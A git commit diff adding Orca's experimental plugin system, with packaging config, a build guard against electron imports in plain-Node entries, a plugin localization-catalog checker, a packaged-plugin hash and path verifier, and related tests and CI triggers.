feat(plugins): Orca plugin system — kernel, content packs, panels, workers, marketplace v0 (experimental) (#8549)
* feat(plugins): Orca plugin system — kernel, content packs, panels, workers, marketplace v0 (experimental) Adds Orca's experimental plugin system behind a settings flag: a supervised kernel, declarative content packs (VM recipes, commands and keybindings, language packs), sandboxed iframe panels, forked worker hosts, and a Git-backed marketplace v0 with consent, provenance and kill-list enforcement. Theme, icon-theme and terminal-theme contributions are deferred to a follow-up pass. * fix(plugins): make unsupported marketplace listings unreachable by key findPlugin() backs preview/install/previewInstalledUpdate via requireListing(), so filtering only listPlugins() hid the catalog card while leaving the dead install path reachable one click later. * fix(plugins): fan Pi session-only status out to plugin subscribers The providerSessionOnly early-return in applyNormalizedStatus emitted to onAgentStatus (main-window fanout) but skipped enrichedStatusListeners, so plugins subscribed to agent.status.changed silently missed every Pi session_start event. Route both emit sites through one helper so a future early return cannot drop the plugin tap again. Co-authored-by: Orca <help@stably.ai> * plugins: drop dead code and hoist duplicated trust-boundary patterns Cleanup pass over the P1 diff, no behavior change: - Delete `readPluginTreeSnapshot`/`readSnapshotFile` and their types, plus the now-vestigial `directories`/`signal` plumbing in `collectFiles`. - Delete `resolveContainedPluginDirectory` (no callers). - Delete `plugin-content-load-pool.ts`; it reimplemented the existing `mapWithConcurrency`, whose index arg also removes the pairing wrapper in `buildPluginList`. - Hoist `PLUGIN_CONTENT_HASH_PATTERN` and `PLUGIN_COMMIT_PATTERN` into the install-lockfile module; 11 sites hand-rolled these identically. - Point the new reliability gate at the PR instead of gitignored docs paths, matching every other gate's link form. * fix(plugins): retry plugin state renames on Windows AV/EPERM locks Six plugin write paths (lockfile, provenance, current pointer, kill list, marketplace cache, staged install dir) did a plain rename, so an antivirus or indexer holding the target open surfaced as a failed install. The repo already retries this hazard for issue #1507, but only through a sync helper; these paths are all async. Adds one bounded async retry + atomic write used by all six, and trims a consent-provenance header that restated its own JSX. * test(plugins): cover the Windows rename retry path The retry loop shipped untested: both existing cases hit the non-retry path, and the temp-cleanup test passed identically with the `finally` removed. Mock `rename` to queue errno codes so CI can exercise locks it cannot provoke. Co-authored-by: Orca <help@stably.ai> * fix(plugins): pin bundled plugin resources to LF Windows CI checks out with autocrlf, so the byte-hashed launch tree arrived as CRLF and verify-packaged-plugin-resources rejected it — the packaged build could never pass on Windows. Reproduced locally: CRLF yields the exact CI error, LF verifies clean. Files are already LF, so nothing renormalizes. Co-authored-by: Orca <help@stably.ai> * test: guard the bundled-plugin LF pin against a CRLF checkout The byte-hash mismatch only surfaced in Windows packaging CI. Assert the .gitattributes pin and that a CRLF tree is rejected, so a regression fails on any platform instead of waiting for a packaged Windows build. Co-authored-by: Orca <help@stably.ai> * ci: trigger packaged-build check on bundled plugin resource changes The launch tree is byte-hashed during packaging, but no trigger path covered it — so the CRLF fix for that check would not have re-run the check. Add the resources, verifier and .gitattributes paths that can break packaging. Co-authored-by: Orca <help@stably.ai> * perf(plugins): rebuild the panel frame only when its baked theme values change The revision keys the panel iframe, so every bump destroys the sandboxed frame and its in-panel state. It counted root attribute mutations, but --workspace-sidebar-live-width is written every rAF of a sidebar drag, so dragging with a panel open blanked it ~60x/sec. Compare the two values the shell actually bakes in instead. Co-authored-by: Orca <help@stably.ai> * test: stop pinning a plugin name in the CRLF guard The CRLF case rewrites every launch file, so the reported mismatch is whichever plugin sorts first. P2 adds theme plugins that sort ahead of orca-navigation-shortcuts, which broke the assertion there. Co-authored-by: Orca <help@stably.ai> * style: drop stray blank lines left by the rebase resolutions Both sides of the agent-hooks and orca-runtime conflicts contributed a trailing blank, which oxfmt rejects. Whitespace only. Co-authored-by: Orca <help@stably.ai> * test(plugins): stop the startup budget failing on machine load P95 runs 16-34ms idle but exceeds the 50ms bound under full-suite parallelism, so the gate flaked. Widen it to catch an order-of-magnitude regression instead; the no-worker/no-plugin-code assertions are the real guarantee. Verified a 400ms regression still fails. Co-authored-by: Orca <help@stably.ai> --------- Co-authored-by: Orca <help@stably.ai>
This commit is contained in:
parent
7dab1e86e2
commit
97e4776dfe
|
|
@ -10,3 +10,5 @@
|
|||
/skill-stubs/*.md text eol=lf
|
||||
/skills/*/SKILL.md text eol=lf
|
||||
/src/cli/bundled-skill-guides.ts text eol=lf
|
||||
# Bundled plugin trees are byte-hashed; CRLF checkout would break the pinned hash.
|
||||
/resources/plugins/** text eol=lf
|
||||
|
|
|
|||
|
|
@ -27,7 +27,11 @@ on:
|
|||
- 'config/patches/**'
|
||||
- 'config/scripts/ensure-native-runtime.mjs'
|
||||
- 'config/scripts/rebuild-native-deps.mjs'
|
||||
- 'config/scripts/verify-packaged-plugin-resources.cjs'
|
||||
- 'native/**'
|
||||
# Byte-hashed at package time, and CRLF-sensitive on Windows.
|
||||
- '.gitattributes'
|
||||
- 'resources/plugins/**'
|
||||
- 'resources/win32/**'
|
||||
- 'src/main/daemon/**'
|
||||
- 'src/main/index.ts'
|
||||
|
|
|
|||
|
|
@ -0,0 +1,104 @@
|
|||
import { spawnSync } from 'node:child_process';
|
||||
import { join } from 'node:path';
|
||||
// Why: v1.4.129-rc.1 shipped a dead terminal daemon because a shared main
|
||||
// chunk gained `require("electron")` (an import edge added in #7642), and the
|
||||
// daemon is forked as a plain-Node process where electron cannot be required.
|
||||
// Nothing in CI executes the built daemon-entry under plain Node, so the leak
|
||||
// stayed invisible until an adopted old daemon died. This guard fails the
|
||||
// build when any chunk reachable from a plain-Node fork entry requires
|
||||
// electron, and smoke-loads daemon-entry under plain Node to prove its module
|
||||
// graph still resolves.
|
||||
// Entries executed as plain Node (ELECTRON_RUN_AS_NODE / no electron runtime):
|
||||
// forked daemon, parcel-watcher and computer sidecars, and the CLI-run
|
||||
// agent-hooks entry. require("electron") throws MODULE_NOT_FOUND in all of them.
|
||||
const PLAIN_NODE_ENTRY_NAMES = [
|
||||
'daemon-entry',
|
||||
'parcel-watcher-process-entry',
|
||||
'computer-sidecar',
|
||||
'agent-hooks/managed-agent-hook-controls',
|
||||
'codex/codex-app-server-grant-entry'
|
||||
];
|
||||
const ELECTRON_REQUIRE_RE = /require\(\s*["']electron["']\s*\)/;
|
||||
function collectReachableChunks(entry, byFileName) {
|
||||
const seen = new Set();
|
||||
const reachable = [];
|
||||
const stack = [entry.fileName];
|
||||
while (stack.length > 0) {
|
||||
const fileName = stack.pop();
|
||||
if (seen.has(fileName)) {
|
||||
continue;
|
||||
}
|
||||
seen.add(fileName);
|
||||
const chunk = byFileName.get(fileName);
|
||||
if (!chunk) {
|
||||
continue;
|
||||
}
|
||||
reachable.push(chunk);
|
||||
for (const imported of [...chunk.imports, ...chunk.dynamicImports]) {
|
||||
stack.push(imported);
|
||||
}
|
||||
}
|
||||
return reachable;
|
||||
}
|
||||
function assertNoElectronRequire(entryName, entry, byFileName) {
|
||||
for (const chunk of collectReachableChunks(entry, byFileName)) {
|
||||
if (ELECTRON_REQUIRE_RE.test(chunk.code)) {
|
||||
throw new Error(`[plain-node-entry-guard] "${entryName}" reaches chunk "${chunk.fileName}" that ` +
|
||||
`requires electron. "${entryName}" runs as a plain-Node process, where ` +
|
||||
`require("electron") throws MODULE_NOT_FOUND and kills it at startup (the ` +
|
||||
`v1.4.129-rc.1 daemon outage). Keep electron imports out of its module graph.`);
|
||||
}
|
||||
}
|
||||
}
|
||||
// Why: proves the whole daemon-entry graph resolves under plain Node (no
|
||||
// unresolved requires). require("electron") does not throw in a dev tree with
|
||||
// node_modules present, so the static scan above — not this smoke — is the
|
||||
// electron regression guard; this only catches gross load failures.
|
||||
function smokeLoadDaemonEntry(outputDir) {
|
||||
const entryPath = join(outputDir, 'daemon-entry.js');
|
||||
const result = spawnSync(process.execPath, [entryPath], {
|
||||
encoding: 'utf8',
|
||||
timeout: 15_000
|
||||
});
|
||||
if (result.error) {
|
||||
throw new Error(`[plain-node-entry-guard] could not smoke-load daemon-entry.js under plain Node: ` +
|
||||
`${result.error.message}`);
|
||||
}
|
||||
const stderr = result.stderr ?? '';
|
||||
if (/Cannot find module|MODULE_NOT_FOUND/.test(stderr)) {
|
||||
throw new Error(`[plain-node-entry-guard] daemon-entry.js failed to load under plain Node:\n${stderr}`);
|
||||
}
|
||||
if (!stderr.includes('Usage: daemon-entry')) {
|
||||
throw new Error(`[plain-node-entry-guard] daemon-entry.js did not reach argv parsing under plain Node ` +
|
||||
`(expected the "Usage: daemon-entry" error). stderr:\n${stderr}`);
|
||||
}
|
||||
}
|
||||
export function createPlainNodeEntryGuardPlugin() {
|
||||
return {
|
||||
name: 'orca-plain-node-entry-guard',
|
||||
writeBundle(options, bundle) {
|
||||
// Why: skip in `electron-vite dev` watch mode — the smoke would respawn on
|
||||
// every rebuild, and the guard only needs to gate produced builds.
|
||||
if (this.meta.watchMode) {
|
||||
return;
|
||||
}
|
||||
const chunks = Object.values(bundle).filter((item) => item.type === 'chunk');
|
||||
const byFileName = new Map(chunks.map((chunk) => [chunk.fileName, chunk]));
|
||||
const entryByName = new Map();
|
||||
for (const chunk of chunks) {
|
||||
if (chunk.isEntry && chunk.name) {
|
||||
entryByName.set(chunk.name, chunk);
|
||||
}
|
||||
}
|
||||
for (const entryName of PLAIN_NODE_ENTRY_NAMES) {
|
||||
const entry = entryByName.get(entryName);
|
||||
if (entry) {
|
||||
assertNoElectronRequire(entryName, entry, byFileName);
|
||||
}
|
||||
}
|
||||
if (entryByName.has('daemon-entry') && options.dir) {
|
||||
smokeLoadDaemonEntry(options.dir);
|
||||
}
|
||||
}
|
||||
};
|
||||
}
|
||||
|
|
@ -12,6 +12,7 @@ const {
|
|||
verifyPackagedMainRuntimeDeps
|
||||
} = require('./packaged-runtime-node-modules.cjs')
|
||||
const { verifyLinuxGlibcFloor } = require('./scripts/verify-linux-glibc-floor.cjs')
|
||||
const { verifyPackagedPluginResources } = require('./scripts/verify-packaged-plugin-resources.cjs')
|
||||
|
||||
const isMacRelease = process.env.ORCA_MAC_RELEASE === '1'
|
||||
const isLinuxArm64Release = process.env.ORCA_LINUX_ARM64_RELEASE === '1'
|
||||
|
|
@ -32,11 +33,17 @@ const relayExtraResource = {
|
|||
from: 'out/relay',
|
||||
to: 'relay'
|
||||
}
|
||||
// Why: bundled plugins are immutable install inputs and must remain ordinary
|
||||
// directories so the startup bootstrap can verify and publish exact bytes.
|
||||
const bundledPluginResources = {
|
||||
from: 'resources/plugins/launch',
|
||||
to: 'plugins/launch'
|
||||
}
|
||||
// Why: the main bundle, packaged CLI, SSH paths, and speech worker all execute
|
||||
// from package directories where pnpm's symlink farm is absent. Copy the exact
|
||||
// runtime dependency closure to Resources/node_modules so bare require() calls
|
||||
// do not fall through to a developer checkout's node_modules.
|
||||
const commonExtraResources = [relayExtraResource, skillFreshnessResources]
|
||||
const commonExtraResources = [relayExtraResource, bundledPluginResources, skillFreshnessResources]
|
||||
const macSpeechNativeResource = {
|
||||
from: 'node_modules/sherpa-onnx-darwin-${arch}',
|
||||
to: 'node_modules/sherpa-onnx-darwin-${arch}'
|
||||
|
|
@ -87,6 +94,9 @@ module.exports = {
|
|||
// it from process.resourcesPath; exclude the source copy from app.asar.
|
||||
'!resources/onboarding/feature-wall/**',
|
||||
'!resources/skills/**',
|
||||
// Why: bundled plugins ship via extraResources to resources/plugins/launch;
|
||||
// packing the source tree into app.asar would duplicate those exact bytes.
|
||||
'!resources/plugins/launch/**',
|
||||
// Why: the Windows CLI shim ships via extraResources to resources/bin/orca.cmd
|
||||
// (beside the native resources/bin/orca.exe). Packing the source tree into
|
||||
// app.asar too lets asarUnpack:['resources/**'] extract a second copy at
|
||||
|
|
@ -129,6 +139,7 @@ module.exports = {
|
|||
'out/main/hermes/**',
|
||||
'out/main/win32-utils.js',
|
||||
'out/main/daemon-entry.js',
|
||||
'out/main/plugin-host-entry.js',
|
||||
'out/main/computer-sidecar.js',
|
||||
'out/main/parcel-watcher-process-entry.js',
|
||||
'out/main/chunks/**',
|
||||
|
|
@ -178,6 +189,9 @@ module.exports = {
|
|||
`[verify-packaged-daemon-entry] skipped boot on cross-arch slice (target ${context.arch}, host ${process.arch})`
|
||||
)
|
||||
}
|
||||
// Why: inspect electron-builder's real output so a broken extraResources
|
||||
// mapping fails packaging before bundled content reaches users.
|
||||
verifyPackagedPluginResources(resourcesDir)
|
||||
chmodUnixCliLaunchers(resourcesDir, context.electronPlatformName)
|
||||
chmodMacServeSimHelpers(resourcesDir, context.electronPlatformName)
|
||||
for (const filename of readdirSync(resourcesDir)) {
|
||||
|
|
|
|||
|
|
@ -6570,6 +6570,112 @@
|
|||
"Windows native runtime watches bypass this child path; WSL reservation/release is deterministic-contract tested but not live fault-injected, and SSH registration ownership is not live-relay fault-injected."
|
||||
],
|
||||
"demotionRule": "Demote or quarantine if the fault harness flakes without a product or harness bug, if healthy operation exceeds one runtime watcher child, if total physical operation exceeds eight children including retiring generations, if quarantine children outlive their roots or repeat after fusing, if event delivery becomes unbounded, or if metadata/stat work returns to the serve process."
|
||||
},
|
||||
{
|
||||
"id": "terminal-input.plugin-explicit-worktree-routing",
|
||||
"title": "Plugin terminal input stays inside the freshly resolved worktree",
|
||||
"maturity": "experimental",
|
||||
"protection": "partial",
|
||||
"owner": "plugin-platform",
|
||||
"layer": "main-relay-contract",
|
||||
"surfaces": [
|
||||
"plugin host API terminal input",
|
||||
"active worktree resolution",
|
||||
"provider terminal inventory",
|
||||
"relay capability enforcement"
|
||||
],
|
||||
"platforms": [
|
||||
"macos",
|
||||
"linux",
|
||||
"windows"
|
||||
],
|
||||
"providers": [
|
||||
"local",
|
||||
"daemon",
|
||||
"ssh",
|
||||
"wsl",
|
||||
"remote-runtime",
|
||||
"mobile-relay"
|
||||
],
|
||||
"coveredPlatforms": [
|
||||
"macos"
|
||||
],
|
||||
"coveredProviders": [
|
||||
"local",
|
||||
"ssh"
|
||||
],
|
||||
"coverageNotes": "Deterministic macOS contract evidence covers opaque local- and SSH-shaped terminal ids, one bounded worktree listing, mismatch rejection, and the main/relay host-call adapter matrix. It does not launch a live PTY or provision a relay-hosted plugin.",
|
||||
"motivatingLinks": [
|
||||
"https://github.com/stablyai/orca/pull/8549"
|
||||
],
|
||||
"invariant": "terminal.sendText accepts only an explicit provider-owned terminal id present in one bounded inventory of the worktree resolved immediately before the send; an absent id causes zero send calls, and relay callers cannot supply their own capability grants or transport classification.",
|
||||
"oracle": "Resolve the active worktree once, list that worktree with the v0 terminal cap once, and assert zero sendTerminal calls for a mismatched opaque id versus exactly one send for matching local- and SSH-shaped ids; then run the same permission and schema cases through desktop-main and registered relay panel/worker adapters and compare error codes.",
|
||||
"commands": [
|
||||
"pnpm exec vitest run --config config/vitest.config.ts src/main/plugins/plugin-host-methods.test.ts src/main/plugins/plugin-host-conformance.test.ts"
|
||||
],
|
||||
"testFiles": [
|
||||
"src/main/plugins/plugin-host-methods.test.ts",
|
||||
"src/main/plugins/plugin-host-conformance.test.ts"
|
||||
],
|
||||
"assertionRefs": [
|
||||
{
|
||||
"file": "src/main/plugins/plugin-host-methods.test.ts",
|
||||
"assertions": [
|
||||
"a terminal outside the freshly resolved worktree performs one capped list and zero sends",
|
||||
"matching local- and SSH-shaped opaque ids each perform one capped list and one exact send",
|
||||
"workspace.readContext drops provider paths, path-bearing internal worktree ids, and terminal titles while capping its terminal projection"
|
||||
]
|
||||
},
|
||||
{
|
||||
"file": "src/main/plugins/plugin-host-conformance.test.ts",
|
||||
"assertions": [
|
||||
"all 13 v0 methods succeed with the required consented capability through desktop-main and relay adapters",
|
||||
"missing consent, missing capability, unknown method, malformed params, panel-forbidden access, malformed results, and mutation-audit failure return identical codes",
|
||||
"malformed qualified keys, client-supplied grants, and client-supplied transport flags are rejected before host policy resolution"
|
||||
]
|
||||
}
|
||||
],
|
||||
"evidenceRuns": [
|
||||
{
|
||||
"date": "2026-07-10",
|
||||
"runner": "local",
|
||||
"platform": "macos",
|
||||
"command": "pnpm exec vitest run --config config/vitest.config.ts src/main/plugins/plugin-host-methods.test.ts src/main/plugins/plugin-host-conformance.test.ts",
|
||||
"result": "passed",
|
||||
"durationSeconds": 0.18,
|
||||
"summary": "2 files and 17 tests passed, covering the 13-method main/relay conformance matrix and exact terminal routing call counts."
|
||||
}
|
||||
],
|
||||
"runtimeBudget": {
|
||||
"p95Seconds": 10,
|
||||
"scope": "plugin host main/relay contract tests"
|
||||
},
|
||||
"flakeHistory": {
|
||||
"status": "unknown",
|
||||
"evidence": "The deterministic focused suite passed locally once and needs CI and soak history before promotion."
|
||||
},
|
||||
"redGreenEvidence": {
|
||||
"status": "partial",
|
||||
"evidence": "Exact mismatch/send counts and adapter error parity are asserted; intentional-break and saved CI evidence are still missing."
|
||||
},
|
||||
"performanceBudget": {
|
||||
"required": true,
|
||||
"evidence": "Each plugin send resolves once, performs exactly one list capped at 50 terminals, and performs at most one send. The path adds no polling, subprocesses, provider fanout, renderer work, or startup await."
|
||||
},
|
||||
"promotionCriteria": [
|
||||
"Run for at least 100 consecutive passes or 14 days across required CI platforms.",
|
||||
"Attach intentional-break evidence for the worktree membership check and relay transport binding.",
|
||||
"Exercise live local and SSH provider terminals, including mismatch rejection and successful input echo.",
|
||||
"Keep relay-hosted plugin provisioning behind a separate reviewed policy before replacing the fail-closed registration."
|
||||
],
|
||||
"knownGaps": [
|
||||
"Linux and Windows execution evidence is not recorded.",
|
||||
"Daemon, WSL, remote-runtime, and mobile-relay providers have no live input evidence.",
|
||||
"Local and SSH coverage is contract-level over opaque ids, not a live PTY input/echo run.",
|
||||
"The bounded 50-terminal inventory intentionally rejects a target not present in the capped result; scale behavior above that cap needs a targeted membership API before expansion.",
|
||||
"Relay-hosted plugin provisioning, consent persistence, workers, and audit services remain out of scope and the relay registration therefore denies every provisioned identity by default."
|
||||
],
|
||||
"demotionRule": "Keep experimental or demote to protection none if the suite flakes, permits a mismatched terminal send, performs more than one inventory list per call, accepts client-supplied grants, or relay and desktop error codes diverge."
|
||||
}
|
||||
]
|
||||
}
|
||||
|
|
|
|||
|
|
@ -1,4 +1,4 @@
|
|||
import { mkdir, mkdtemp, readFile, readdir, rm, stat, writeFile } from 'node:fs/promises'
|
||||
import { cp, mkdir, mkdtemp, readFile, readdir, rm, stat, writeFile } from 'node:fs/promises'
|
||||
import { createRequire } from 'node:module'
|
||||
import { tmpdir } from 'node:os'
|
||||
import { join } from 'node:path'
|
||||
|
|
@ -35,17 +35,25 @@ describe('electron-builder config', () => {
|
|||
'!pr-evidence{,/**/*}',
|
||||
'!Casks{,/**/*}',
|
||||
'!{AGENTS.md,CLAUDE.md,DEVELOPING.md,bundle-size-progress.md}',
|
||||
'!out/**/*.test.js'
|
||||
'!out/**/*.test.js',
|
||||
'!resources/plugins/launch/**'
|
||||
])
|
||||
)
|
||||
})
|
||||
|
||||
it('keeps runtime resources available through extraResources', () => {
|
||||
const bundledPluginResources = expect.objectContaining({
|
||||
from: 'resources/plugins/launch',
|
||||
to: 'plugins/launch'
|
||||
})
|
||||
for (const platform of ['mac', 'linux', 'win']) {
|
||||
expect(electronBuilderConfig[platform].extraResources).toContainEqual({
|
||||
from: 'resources/skills',
|
||||
to: 'skills'
|
||||
})
|
||||
expect(electronBuilderConfig[platform].extraResources).toEqual(
|
||||
expect.arrayContaining([bundledPluginResources])
|
||||
)
|
||||
}
|
||||
expect(electronBuilderConfig.mac.extraResources).toEqual(
|
||||
expect.arrayContaining([
|
||||
|
|
@ -386,6 +394,11 @@ describe('electron-builder config', () => {
|
|||
const resourcesDir = join(root, 'linux-unpacked', 'resources')
|
||||
const launcherPath = join(resourcesDir, 'bin', 'orca-ide')
|
||||
await mkdir(join(resourcesDir, 'bin'), { recursive: true })
|
||||
await cp(
|
||||
join(process.cwd(), 'resources', 'plugins', 'launch'),
|
||||
join(resourcesDir, 'plugins', 'launch'),
|
||||
{ recursive: true }
|
||||
)
|
||||
await mkdir(join(resourcesDir, 'node_modules', 'zod', 'src'), { recursive: true })
|
||||
// Why: afterPack now fails hard when the unpacked daemon entry is
|
||||
// missing, so the fixture must carry one like a real package layout.
|
||||
|
|
|
|||
|
|
@ -385,15 +385,79 @@ function verifyLocaleParity(enCatalog, localeName, localeCatalog) {
|
|||
}
|
||||
|
||||
function parseArgs(argv) {
|
||||
return {
|
||||
fix: argv.includes('--fix')
|
||||
const pluginCatalogs = []
|
||||
for (let index = 0; index < argv.length; index += 1) {
|
||||
const argument = argv[index]
|
||||
if (argument === '--plugin-catalog') {
|
||||
const catalogPath = argv[index + 1]
|
||||
if (!catalogPath || catalogPath.startsWith('--')) {
|
||||
throw new Error('--plugin-catalog requires a JSON catalog path')
|
||||
}
|
||||
pluginCatalogs.push(catalogPath)
|
||||
index += 1
|
||||
} else if (argument.startsWith('--plugin-catalog=')) {
|
||||
pluginCatalogs.push(argument.slice('--plugin-catalog='.length))
|
||||
}
|
||||
}
|
||||
return {
|
||||
fix: argv.includes('--fix'),
|
||||
pluginCatalogs
|
||||
}
|
||||
}
|
||||
|
||||
async function reportPluginCatalog(root, catalog, pluginCatalogPath) {
|
||||
const resolvedPath = path.resolve(root, pluginCatalogPath)
|
||||
let pluginCatalog
|
||||
try {
|
||||
pluginCatalog = JSON.parse(await fs.readFile(resolvedPath, 'utf8'))
|
||||
} catch (error) {
|
||||
console.error(
|
||||
`Could not read plugin catalog ${normalizePath(root, resolvedPath)}: ${error instanceof Error ? error.message : String(error)}`
|
||||
)
|
||||
return 1
|
||||
}
|
||||
const { enEntries, localeEntries, missingInLocale, extraInLocale, interpolationMismatches } =
|
||||
collectLocaleParityIssues(catalog, pluginCatalog)
|
||||
const translated = enEntries.size - missingInLocale.length - interpolationMismatches.length
|
||||
const coverage = enEntries.size === 0 ? 100 : (translated / enEntries.size) * 100
|
||||
console.log(
|
||||
`Plugin catalog ${normalizePath(root, resolvedPath)}: ${translated}/${enEntries.size} core keys (${coverage.toFixed(1)}% coverage), ${localeEntries.size} catalog entries.`
|
||||
)
|
||||
if (missingInLocale.length > 0) {
|
||||
console.log(formatMissingKeys('missing', missingInLocale.slice(0, 20)))
|
||||
if (missingInLocale.length > 20) {
|
||||
console.log(`...and ${missingInLocale.length - 20} more missing keys`)
|
||||
}
|
||||
}
|
||||
if (extraInLocale.length > 0) {
|
||||
console.log(formatMissingKeys('extra', extraInLocale.slice(0, 20)))
|
||||
}
|
||||
if (interpolationMismatches.length > 0) {
|
||||
console.log(formatMissingKeys('interpolation mismatch', interpolationMismatches.slice(0, 20)))
|
||||
}
|
||||
// Why: absent plugin translations safely fall back to English, but a present
|
||||
// value with different variables can render broken or misleading UI.
|
||||
return interpolationMismatches.length > 0 ? 1 : 0
|
||||
}
|
||||
|
||||
export async function main(root = process.cwd(), options = parseArgs(process.argv.slice(2))) {
|
||||
const localesDir = path.join(root, LOCALES_RELATIVE_DIR)
|
||||
const catalogPath = path.join(localesDir, 'en.json')
|
||||
const catalog = JSON.parse(await fs.readFile(catalogPath, 'utf8'))
|
||||
const pluginCatalogs = options.pluginCatalogs ?? []
|
||||
if (pluginCatalogs.length > 0) {
|
||||
if (options.fix) {
|
||||
console.error('--fix cannot be combined with --plugin-catalog')
|
||||
return 1
|
||||
}
|
||||
for (const pluginCatalogPath of pluginCatalogs) {
|
||||
const result = await reportPluginCatalog(root, catalog, pluginCatalogPath)
|
||||
if (result !== 0) {
|
||||
return result
|
||||
}
|
||||
}
|
||||
return 0
|
||||
}
|
||||
let catalogKeys = new Set(flattenCatalogKeys(catalog))
|
||||
const sourceRoots = SOURCE_RELATIVE_ROOTS.map((sourceRoot) => path.join(root, sourceRoot))
|
||||
const references = []
|
||||
|
|
|
|||
|
|
@ -2,7 +2,7 @@ import { mkdirSync, mkdtempSync, readFileSync, writeFileSync } from 'node:fs'
|
|||
import { tmpdir } from 'node:os'
|
||||
import path from 'node:path'
|
||||
|
||||
import { describe, expect, it } from 'vitest'
|
||||
import { describe, expect, it, vi } from 'vitest'
|
||||
|
||||
import { main as verifyLocalizationCatalog } from './verify-localization-catalog.mjs'
|
||||
|
||||
|
|
@ -79,4 +79,34 @@ describe('verify-localization-catalog', () => {
|
|||
await expect(verifyLocalizationCatalog(root, { fix: true })).resolves.toBe(1)
|
||||
expect(readJson(path.join(localesDir, 'en.json'))).toEqual({})
|
||||
})
|
||||
|
||||
it('reports partial plugin catalog gaps but rejects malformed interpolation', async () => {
|
||||
const { root } = makeProject({
|
||||
sourceText: 'export {}\n',
|
||||
enCatalog: {
|
||||
auto: { first: 'First {{name}}', second: 'Second' }
|
||||
},
|
||||
esCatalog: {
|
||||
auto: { first: 'Primero {{name}}', second: 'Segundo' }
|
||||
}
|
||||
})
|
||||
const pluginCatalogPath = path.join(root, 'plugin-locale.json')
|
||||
writeJson(pluginCatalogPath, {
|
||||
auto: { first: 'Primeiro {{wrongName}}', pluginOnly: 'Plugin only' }
|
||||
})
|
||||
const report = vi.spyOn(console, 'log').mockImplementation(() => undefined)
|
||||
|
||||
try {
|
||||
await expect(
|
||||
verifyLocalizationCatalog(root, {
|
||||
fix: false,
|
||||
pluginCatalogs: [pluginCatalogPath]
|
||||
})
|
||||
).resolves.toBe(1)
|
||||
expect(report).toHaveBeenCalledWith(expect.stringContaining('0/2 core keys'))
|
||||
expect(report).toHaveBeenCalledWith(expect.stringContaining('interpolation mismatch'))
|
||||
} finally {
|
||||
report.mockRestore()
|
||||
}
|
||||
})
|
||||
})
|
||||
|
|
|
|||
|
|
@ -0,0 +1,111 @@
|
|||
const { createHash } = require('node:crypto')
|
||||
const { lstatSync, readFileSync, readdirSync, statSync } = require('node:fs')
|
||||
const { isAbsolute, join, relative, resolve, sep } = require('node:path')
|
||||
|
||||
const MAX_PLUGIN_FILES = 2_000
|
||||
const MAX_PLUGIN_TOTAL_BYTES = 50 * 1024 * 1024
|
||||
|
||||
function hashLength(hash, length) {
|
||||
const framedLength = Buffer.allocUnsafe(8)
|
||||
framedLength.writeBigUInt64BE(BigInt(length))
|
||||
hash.update(framedLength)
|
||||
}
|
||||
|
||||
function hashPackagedPluginTree(root) {
|
||||
const files = []
|
||||
let entriesVisited = 0
|
||||
let totalBytes = 0
|
||||
const visit = (directory) => {
|
||||
const entries = readdirSync(directory, { withFileTypes: true }).sort((left, right) =>
|
||||
left.name < right.name ? -1 : left.name > right.name ? 1 : 0
|
||||
)
|
||||
for (const entry of entries) {
|
||||
if (directory === root && entry.name === '.git') {
|
||||
continue
|
||||
}
|
||||
const entryPath = join(directory, entry.name)
|
||||
const metadata = lstatSync(entryPath)
|
||||
entriesVisited += 1
|
||||
if (entriesVisited > MAX_PLUGIN_FILES) {
|
||||
throw new Error(`plugin exceeds the ${MAX_PLUGIN_FILES}-entry limit`)
|
||||
}
|
||||
if (metadata.isSymbolicLink()) {
|
||||
throw new Error(`packaged plugin contains a symlink: ${relative(root, entryPath)}`)
|
||||
}
|
||||
if (metadata.isDirectory()) {
|
||||
visit(entryPath)
|
||||
} else if (metadata.isFile()) {
|
||||
totalBytes += metadata.size
|
||||
if (totalBytes > MAX_PLUGIN_TOTAL_BYTES) {
|
||||
throw new Error(`plugin exceeds the ${MAX_PLUGIN_TOTAL_BYTES}-byte limit`)
|
||||
}
|
||||
files.push({ path: entryPath, size: metadata.size })
|
||||
} else {
|
||||
throw new Error(`packaged plugin contains an unsupported entry: ${entryPath}`)
|
||||
}
|
||||
}
|
||||
}
|
||||
visit(root)
|
||||
const hash = createHash('sha256').update('orca-plugin-tree-v1\0')
|
||||
for (const file of files) {
|
||||
const relativePath = relative(root, file.path).replaceAll('\\', '/')
|
||||
hashLength(hash, Buffer.byteLength(relativePath, 'utf8'))
|
||||
hash.update(relativePath, 'utf8')
|
||||
hashLength(hash, file.size)
|
||||
hash.update(readFileSync(file.path))
|
||||
}
|
||||
return hash.digest('hex')
|
||||
}
|
||||
|
||||
function readJsonFile(path, label) {
|
||||
try {
|
||||
return JSON.parse(readFileSync(path, 'utf8'))
|
||||
} catch (error) {
|
||||
throw new Error(
|
||||
`[verify-packaged-plugin-resources] invalid ${label} at ${path}: ${error instanceof Error ? error.message : String(error)}`
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
function verifyPackagedPluginResources(resourcesDir) {
|
||||
const launchRoot = join(resourcesDir, 'plugins', 'launch')
|
||||
if (!statSync(launchRoot).isDirectory()) {
|
||||
throw new Error(`[verify-packaged-plugin-resources] missing launch directory at ${launchRoot}`)
|
||||
}
|
||||
const index = readJsonFile(join(launchRoot, 'bundled-plugins.json'), 'bundled plugin index')
|
||||
readJsonFile(join(launchRoot, 'orca-marketplace.json'), 'marketplace index')
|
||||
if (index?.version !== 1 || !Array.isArray(index.plugins) || index.plugins.length === 0) {
|
||||
throw new Error('[verify-packaged-plugin-resources] bundled plugin index is empty or invalid')
|
||||
}
|
||||
const resolvedRoot = resolve(launchRoot)
|
||||
for (const entry of index.plugins) {
|
||||
if (
|
||||
typeof entry?.pluginKey !== 'string' ||
|
||||
typeof entry.path !== 'string' ||
|
||||
!/^[0-9a-f]{64}$/.test(entry.contentHash)
|
||||
) {
|
||||
throw new Error('[verify-packaged-plugin-resources] bundled plugin entry is invalid')
|
||||
}
|
||||
const pluginRoot = resolve(launchRoot, entry.path)
|
||||
const fromRoot = relative(resolvedRoot, pluginRoot)
|
||||
if (!fromRoot || fromRoot === '..' || fromRoot.startsWith(`..${sep}`) || isAbsolute(fromRoot)) {
|
||||
throw new Error('[verify-packaged-plugin-resources] bundled plugin path escapes launch root')
|
||||
}
|
||||
const manifest = readJsonFile(join(pluginRoot, 'orca-plugin.json'), 'plugin manifest')
|
||||
if (`${manifest.publisher}.${manifest.id}` !== entry.pluginKey) {
|
||||
throw new Error(
|
||||
`[verify-packaged-plugin-resources] manifest identity does not match ${entry.pluginKey}`
|
||||
)
|
||||
}
|
||||
